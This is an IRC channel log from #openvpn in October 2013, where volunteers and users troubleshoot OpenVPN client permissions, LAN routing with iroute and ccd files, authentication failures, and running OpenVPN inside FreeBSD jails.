21:16 < hjohnson> i'll go back to googling and stop bugging you guys, this should give me enough to go on
21:16 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
21:17 <@ecrist> s/mia/mea/
21:17 <@ecrist> :P
21:18 < hjohnson> yeah
21:18 < hjohnson> i'm smelling permissions or something
21:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:20 < crass> pekster: I don't really care abou GSSAPI, nor asking for a user/pass, just thought the later would be nicer than wrapping it in a script
21:23 <+pekster> Sure; it's simply that no one has written the method-specific support for any of it yet
21:24 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:24  * ecrist notes new forum box seems slow
21:25 <+pekster> crass: Um, current manpage does list that
21:25 <+pekster> #ifdef ENABLE_SOCKS
21:25 <+pekster>   "--socks-proxy s [p] [up] : Connect to remote host through a Socks5 proxy at\n"
21:27 <+pekster> Oh, but not the manpage. Right
21:27 <+pekster> That's an easy fix :)
21:30 <@ecrist> I wish we did something to generate the man page in the code.
21:30 <+pekster> echo "Use The Source Luke" > openvpn.8
21:30 <+pekster> Problem solved ;)
21:31 < hjohnson> gah... this is frustrating
21:31 <+pekster> But yes, it does tend to get out of sync. At least updating the manpage for a supported option is easier than the reverse :P
21:31 < hjohnson> trying to work on this computer with chrome remote desktop to make it work, and it's working like shit
21:31 <@ecrist> for perl, we use Pod
21:32 <+pekster> Given how options.c add_option() works that's not exactly a good parallel
21:32 <+pekster> C is too "free-form" for something like automated doc building, at least how openvpn options are processed (nevermind the rationale for them)
21:33 <+pekster> Ideally the manpage gets updated when the syntax of options changes, but it doesn't always happen
21:33 <@ecrist> isn't that what doxygen does?
21:33 <+pekster> doxygen is more for documenting the functions; option processing in openvpn happens in a single (very large) function that has a bunch of if .. elif ... statements
21:34 <+pekster> On top of that, how each of the arguments is processed is frequently specific to the option being tested for
21:34 <@ecrist> ok
21:34 <@ecrist> <--- not a C developer
21:35 <@ecrist> <--- Perl, PHP, sh, HTML, etc
21:35  * hjohnson prefers to write C for bare iron
21:35 < hjohnson> none of this OS silliness :P
21:35 <@ecrist> but you can't configure a network...
21:35 <+pekster> Yea. Basically there's no good way to generate automated docs unless you want an API reference (which frequently works great for interperted code..)
21:36 < hjohnson> ecrist: I an, I just don't know jack shit about how permissions run under windows
21:36 < hjohnson> (I really stopped running windows back in the 3.11 days)
21:36 <+pekster> http://pastebin.kde.org/p6woouioy <-- there's no good way to explain to some manpage-generator the meaning of line 22 and how it pertains to what actually happens
21:37 <+pekster> Basically we (devs in general) just need to try and get better about it, or have bugreports filed when something falls through the cracks. Maybe I'll review my manpage syntax this weekend if no one else gets to it first :P
21:39 < hjohnson> near as I can tell, chrome remote desktop is fail
21:43 < crass> pekster: oh, thanks, didn't even think to check --help
21:46 <+pekster> Yea, I said manpage when I meant the help output; this said, the oversight of the manpage not matching does need to be fix, but that's trivial
21:47 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:47 < crass> yeah, but not everyone want to look it up in the source (which I did :) )
21:48 <+pekster> Right
21:49 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
21:49 -!- michaelhart_ is now known as michaelhart
21:56 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has left #openvpn []
21:58 < hjohnson> man... having 70 active users on a 1mbps/300kbps internet connection makes for slow-ass connectivity
21:59 < hjohnson> anyhow, the answer to my problem was that I needed to run the OpenVPN client as Administrator (duh)
22:00 -!- toothe [~mongolian@unaffiliated/toothe] has left #openvpn []
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:18 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fvdpxofwzybupcym] has quit [Ping timeout: 240 seconds]
22:20 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
22:21 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
22:28 <@ecrist> glad you got it figured out, hjohnson 
22:29 <@ecrist> heh, we run 11 users on 2 x 100Mbps + 1 x 1Gbps connection
22:29 -!- Irssi: #openvpn: Total of 219 nicks [8 ops, 0 halfops, 3 voices, 208 normal]
22:43 -!- crass [~crass@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
22:48 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:58 < pppingme> ecrist that seems a bit overkill
22:58 < pppingme> hjohnson how heavily do they use the internet?  or is there a lot of play time?
22:58 < crass> why might I get an AUTH_FAIL if I use --route-nopull and get success otehrwise?
23:04 -!- oomph [~oomph@23.30.10.209] has quit [Remote host closed the connection]
23:24 <+pekster> crass: They're unrelated; in --route-nopull the client ignores any pushed routes (but they're still present as the server will still push them anyway)
23:25 <+pekster> As with any auth failure, you need to check the server to see why
23:25 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 240 seconds]
23:27 -!- crass [~crass@public-nat-d.vpngate.net] has joined #openvpn
23:29 -!- fling [~fling@fsf/member/fling] has joined #openvpn
23:30 < fling> How to remove easy-rsa commit?
23:37 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
23:53 < hjohnson> pppingme: it's the only internet for a community of about 70...
23:54 < hjohnson> ecrist: and this link is on the far side of a satellite
23:55 < hjohnson> thankfully that's 1mbps/300kbps dedicated
--- Day changed Thu Oct 10 2013
00:19 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
00:21 -!- Devastator [~devas@186.214.110.101] has joined #openvpn
00:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:33 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
00:33 < hyper_ch> hmmm, I just setup a vm in virtualbox and I want to have it a "static" ip by connecting it to the openvpn network. But for some reasono no connection is being established
00:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:37 < pppingme> hjohnson Oh, sounds like its time for some traffic shaping..
00:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:44 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
00:45 < hjohnson> pppingme: very significant amounts of it
00:45 < hjohnson> pppingme: need to keep the voip flowing evenw hen everyone's surfing facecrack
00:51 < Kireji> /wc/
00:51 -!- Kireji [~nospam@biocontact.org] has left #openvpn []
00:51 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xpjhdpzkhnvcxuha] has joined #openvpn
00:56 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
00:58 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:59 < fling> is it revoked or not? `error 23 at 0 depth lookup:certificate revoked´ > http://dpaste.com/1411753/
00:59 < fling> pppingme: ping
01:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:10 -!- Devastator [~devas@186.214.110.101] has quit [Ping timeout: 248 seconds]
01:16 -!- Devastator [~devas@186.214.110.101] has joined #openvpn
01:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:37 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
01:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:44 -!- jonascj [~jonas@0x4dd5cd09.adsl.cybercity.dk] has joined #openvpn
01:45 < jonascj> Hi all. I've set an OpenVPN server up on ubuntu 12.04. It works, clients can connect, I can revoke certificates etc. Now I need to enable the clients to communicate with a network behind the openvpn server. So I have to add some routes and here I am lost.
01:47 < jonascj> The openvpn server gives out IPs 10.0.8.x to clients. The network which is behind the openvpn server is 192.168.122.0. How do I make the clients able to talk to 192.168.122.x ?
02:03 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:06 -!- Devastator [~devas@186.214.110.101] has quit [Ping timeout: 245 seconds]
02:13 -!- Devastator [~devas@186.214.110.101] has joined #openvpn
02:21 -!- crus [~crusader@2001:44b8:319e:2900:854a:eefb:4117:d833] has quit [Read error: Connection reset by peer]
02:23 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
02:25 -!- crass [~crass@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
02:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xpjhdpzkhnvcxuha] has quit [Ping timeout: 264 seconds]
02:33 -!- mattock_afk is now known as mattock
02:39 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dmknswfydwwykaay] has joined #openvpn
02:41 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
02:42 -!- jonascj [~jonas@0x4dd5cd09.adsl.cybercity.dk] has quit [Ping timeout: 252 seconds]
02:42 < copper> "Beginning immediately, the program [ from Google ] will offer rewards between $500 and $3,133.70 for security improvements to core infrastructure network services"
02:42 < copper> "Eventually, Google will pay for fixes to other open-source programs, including the Apache Web server, Sendmail e-mail service, and the OpenVPN virtual private networking app."
02:42 < copper> http://arstechnica.com/security/2013/10/google-offers-leet-cash-prizes-for-updates-to-linux-and-other-os-software/
02:42 <@vpnHelper> Title: Google offers “leet” cash prizes for updates to Linux and other OS software | Ars Technica (at arstechnica.com)
02:58 -!- crus [~crusader@crus0r.soho.on.net] has quit [Remote host closed the connection]
03:25 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:31 -!- JackWinter_ [~jack@vodsl-4997.vo.lu] has quit [Quit: Konversation terminated!]
03:34 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
03:36 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
03:39 -!- Falconor [~Falconor@unaffiliated/falconor] has quit [K-Lined]
03:49 -!- copper [~copper@unaffiliated/copper] has left #openvpn []
04:03 -!- jonascj [~jonas@emp.sdu.dk] has joined #openvpn
04:15 -!- Dave2 is now known as Dave
04:37 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
04:38 -!- xTz [~xtz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
04:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dmknswfydwwykaay] has quit [Ping timeout: 240 seconds]
05:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xcswziqxlooxejhn] has joined #openvpn
05:12 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has quit [Read error: Operation timed out]
05:12 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has joined #openvpn
05:12 -!- Chocobo [~swinchen@samuel-winchenbach.ums.maine.edu] has quit [Changing host]
05:12 -!- Chocobo [~swinchen@pdpc/supporter/student/chocobo] has joined #openvpn
05:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xcswziqxlooxejhn] has quit [Ping timeout: 264 seconds]
05:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-svnlspkpgfftuxjb] has joined #openvpn
05:48 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-svnlspkpgfftuxjb] has quit [Read error: Connection reset by peer]
05:57 -!- mattock is now known as mattock_afk
06:10 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
06:38 -!- mete- [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
06:40 -!- defswork [~andy@141.0.50.105] has quit [Read error: Connection reset by peer]
06:52 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Ping timeout: 246 seconds]
06:55 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 245 seconds]
06:57 -!- defswork [~andy@141.0.50.105] has joined #openvpn
06:59 -!- mete [~mete@mete.shell.la] has joined #openvpn
07:05 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
07:29 -!- Devastator [~devas@186.214.110.101] has quit [Changing host]
07:29 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:35 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
07:38 -!- mete [~mete@mete.shell.la] has joined #openvpn
07:39 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:46 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
07:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:58 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
07:58 -!- master_of_master [~master_of@p4FD7B54C.dip0.t-ipconnect.de] has joined #openvpn
08:02 -!- master_o1_master [~master_of@p4FD7BB2E.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
08:10 -!- mattock_afk is now known as mattock
08:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
08:29 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
08:39 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
08:44 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Read error: Connection reset by peer]
08:45 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
09:00 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
09:06 -!- jonascj [~jonas@emp.sdu.dk] has quit [Quit: Lost terminal]
09:23 -!- mist_ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds]
09:37 < crass> I'm getting a "SSL alert (write): fatal: unknown CA", which I think is causing the connection to abort/fail
09:38 <@ecrist> !logs
09:38 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:38 <@ecrist> !configs
09:38 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:38 < crass> I'm using an inline ca cert, so this shouldn't be happening, right?
09:38 <@ecrist> well, if you did it right, then yes
09:40 < crass> ok, I'll try a couple more things first
09:41 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:49 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
10:06 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
10:06 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
10:07 < pie_> i followed this guide but i dont see any errors and i cant transfer any data over the vpn; http://forums.freebsd.org/showthread.php?t=22143 any ideas?
10:09 <@ecrist> we don't follow guides here, and generally won't help you with them.
10:09 <@ecrist> !logs
10:09 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:09 <@ecrist> !configs
10:09 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:11 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
10:11 < Bretos`> is it possible to change encryption key, without updating client keys? I've generated encryption key few years ago, and now it seems to short... but I don't want to update every client pki
10:22 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
10:23 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
10:28 < pie_> i get a good amount of these : MULTI: bad source address from client [10.0.10.145], packet dropped
10:29 -!- raidz_away is now known as raidz
10:29 <+pekster> pie_: This means your client is "spoofing" packets (sending across the tun device using an address OpenVPN hasn't assigned to the client.)
10:29 < pie_> ah i got it
10:29 <+pekster> Best thing you can do is tcpdump on the client and try and see what application is doing silly things like that
10:30 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 264 seconds]
10:30 < pie_> clients were using 10.3.0.0 and the server was 10.0.3.0
10:31 <+pekster> Right. "usually" when you get that it's the client incorrectly using the physical NIC's IP on an RFC1918 LAN to send across the tun device. The kernel routing should never allow it, but some applications manage to do it anyway though basically broken design
10:33 -!- thirtythreeforty [~thirtythr@unaffiliated/gh403] has joined #openvpn
10:33 < thirtythreeforty> !goal
10:33 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:33 < thirtythreeforty> !welcome
10:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:33 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:33 < pie_> those errors are probably strange routing on my part, thanks for everything
10:35 < thirtythreeforty> I would like to set up a VPN with a similar topology to a Hamachi network:  each computer connects to the other, as a "mesh."  Can OpenVPN do that?
10:38 < thirtythreeforty> Or, if that's not possible, is it possible to configure the VPN so that it is not necessary that the clients trust the server?
10:39 < pie_> pekster, whats odd is that thats a completely different interface
10:43 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
10:45 -!- cartufer [~androirc@99-42-17-54.lightspeed.cicril.sbcglobal.net] has joined #openvpn
10:58 < TheSov_> If i wanted my lets say ubuntu server to route openvpn connections, i know i have to enable ip forwarding, and put in a route, but for some reason i cant pass traffic through, the ufw is disabled and iptables is clear
11:00 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:05 < sauce> thesov_ iptables can't be clear if your openvpn box will act as the router
11:08 <+pekster> TheSov_: That's a vauge description of your goal: what exactly do you want to route?
11:08 <+pekster> !goal
11:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:18 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-pmewniefhkxdlnes] has joined #openvpn
11:21 -!- cartufer [~androirc@99-42-17-54.lightspeed.cicril.sbcglobal.net] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
11:25 -!- mist_ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has joined #openvpn
11:29 < TheSov_> my goal is to take a local network 172.25.66.0/24 and route it to the remote network 172.25.8.0/24
11:29 < TheSov_> the openvpn connection is on ip 8.4
11:29 <+pekster> So you want both LANs to talk together?
11:36 -!- thirtythreeforty [~thirtythr@unaffiliated/gh403] has quit [Quit: You've been great, folks!]
11:38 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:48 -!- [fred] [fred@konfuzi.us] has joined #openvpn
11:49 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:49 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:54 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
11:57 < TheSov_> yes
11:57 -!- stefan__ [~quassel@133-216-180-132.vpn.uni-bayreuth.de] has joined #openvpn
11:58 < TheSov_> on a test machine ( 172.25.66.51) i have a route to 172.25.8.0/24 pointed to the local nic on the router 172.25.66.10
11:58 < TheSov_> i verified the connectivity to both networks on the router machine
11:59 <+pekster> To connect LANs behind VPN peers like that, firt you need a working VPN connection (such that you can ping between the peers over the VPN network.) Then follow the flowcharts/info at !serverlan and !clientlan taking them 1 at a time
11:59 <+pekster> You need the routing to work in both directions, including support from each LAN's configured gateway
11:59 < TheSov_> yes
12:00 < TheSov_> !clientlan
12:00 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:00 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:02 < TheSov_> !serverlan
12:02 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
12:02 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:19 -!- dothak [~dothak@cblmdm24-53-129-65.buckeyecom.net] has joined #openvpn
12:19 < dothak> hello, I am having a problem with my openvpn configuration
12:19 < dothak> it's probably a firewall issue, and I was hoping someone could lead me in the right direction?
12:20 < dothak> from the client, I can ping the server eth interface, but from the server I cannot ping the client eth interface
12:21 < hjohnson> \o/ it works... I just wish that windows had something along the lines of setuid-root
12:24 <+pekster> dothak: You'd need to route the client LAN across the VPN for that to work. Are you trying to expose the client-side LAN to the server (and possibly other VPN clients) ? If so, see: !clientlan
12:24 < dothak> !clientlan
12:24 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
12:24 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:26 < dothak> pekster: I have a 'push route' in my server conf for the vpn lan (10.8.0.0 255.255.255.0), the server lan (172.16.1.0 255.255.255.0) and the client lan (10.166.45.128 255.255.255.192)
12:26 < dothak> I unfortunately can't paste because it's on a different computer :(
12:26 <+pekster> Rather hard to get help if you can't post configs. All the tools you need if you're trying to route to the client's LAN are above
12:27 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
12:28 < dothak> pekster: so a ccd file *is* needed?
12:28 < dothak> !route
12:28 <+pekster> Yes, becuase you need an --iroute for the client-side LAN network
12:28 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
12:28 <@vpnHelper> behind the server or client
12:28 <+pekster> Which you should know if you read the flowchart ;)
12:28 < dothak> pekster: that's why I asked, just making sure :D
12:29 <+pekster> --iroute tells OpenVPN _which_ client is responsible for traffic being routed to the defined network range. The --route statement tells the OS kernel to send traffic for that network to the IP openvpn is using to route across your tun device; you need both for traffic to make it to the client
12:30 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
12:30 <+pekster> The kernel route gets the traffic as far as openvpn, then the --iroute gets it to the right client
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:34 < dothak> pekster: I'll work on it, thank you for your time
12:34 <+pekster> You are trying to route to the entire client's LAN, right? If you only want to reach the client, just use the IP on the VPN network
12:35 < dothak> yes, I am hoping to be able to communicate to both server lan and client lan
12:36 <+pekster> Okay, then you're on the right track. Firewalls often cause issues, but the flowchart will help identify what else could be at fault
12:36 <+pekster> If it is a firewall problem, you'll need to figure out what node is dropping the traffic and fix it; mind the IP forwarding too that some folks forget
12:38 < dothak> The flowchart is immensely helpful, thank you.
12:41 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
12:41 < toothe> is there a way to have a script executed *after* an OpenVPN connection is established?
12:42 <+pekster> toothe: --route-up is probably what you want; you'll need to fork and return code 0 to openvpn as it will block the completion of the VPN startup, but the interface will exist and be up at that point
12:43 <+pekster> See:
12:43 <+pekster> !scripts
12:43 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:52 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:05 < TheSov_> thanks pekster , you helped me realize i had done everything correctly except for disable the source/dest check on the amazon ec2 instance
13:05 < TheSov_> stupid amazon
13:12 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
13:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
13:36 -!- vamadir [~vamadir@222.33.11.71] has joined #openvpn
13:51 -!- dothak [~dothak@cblmdm24-53-129-65.buckeyecom.net] has left #openvpn []
13:55 -!- mattock is now known as mattock_afk
14:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:03 -!- vamadir [~vamadir@222.33.11.71] has quit []
14:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:20 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
14:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
14:29 < pie_> !topology
14:29 < pie_> !subnet
14:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:29 <@vpnHelper> "subnet" is http://www.subnet-calculator.com/ or http://en.wikipedia.org/wiki/Subnetwork
14:31 < pie_> :( i cant figure out how to do ifconfig tun1 10.3.0.1/24 on freebsd so i can get topology subnet working
14:32 <@ecrist> why aren't you using --server?
14:33 < pie_> err, this is in a jail and openvpn has its internal network stuff but i need to set the interface up for it myself
14:33 < pie_> this is all i need to do
14:33 <@ecrist> openvpn inside jails doesn't work.
14:33 < pie_> everything works between the server and one host with the p2p version, but i would like to have more than one computer on my vpn :/
14:33 < pie_> it does
14:33 <@ecrist> it's a limitation of how jails handle the network stack.
14:33 < pie_> im not saying it might im saying it does
14:34 <@ecrist> you're assigning the ip inside the jail?
14:35 < pie_> no, from outside once openvpn is running
14:35 < pie_> so i have openvpn set to work on 10.3.0.1 i just need to actually set it
14:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:36 <@ecrist> that's a pretty serious hack to run openvpn inside a jail
14:36 <@ecrist> I wouldn't call that "working"
14:36 < pie_> well the whole system is a bit thrown together due to time constraints
14:37 < pie_> id happily fix everything if i had the time
14:37 < pie_> mind you i dont imagine openvpn should be allowed to set its ip inside a jail
14:38 <@ecrist> !goal
14:38 < pie_> jails have their ips set externally to begin with
14:38 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:38 <@ecrist> pie_: I'm well-versed in FreeBSD and jails
14:38 < pie_> i would like to run my vpn in a jail as a proxy
14:38 < pie_> ok, my bad if i ocme off as arrogant, im just really frustrated and id like to finih this today
14:39  * ecrist points to his host cloak
14:39 < pie_> i know i got it to work before, and that was hackish in more ways than one; id have to wait for openvpn to start which did some kind of magic i never figured out, and i would be able to do ssuch an ifconfig on it afterwards and it would work
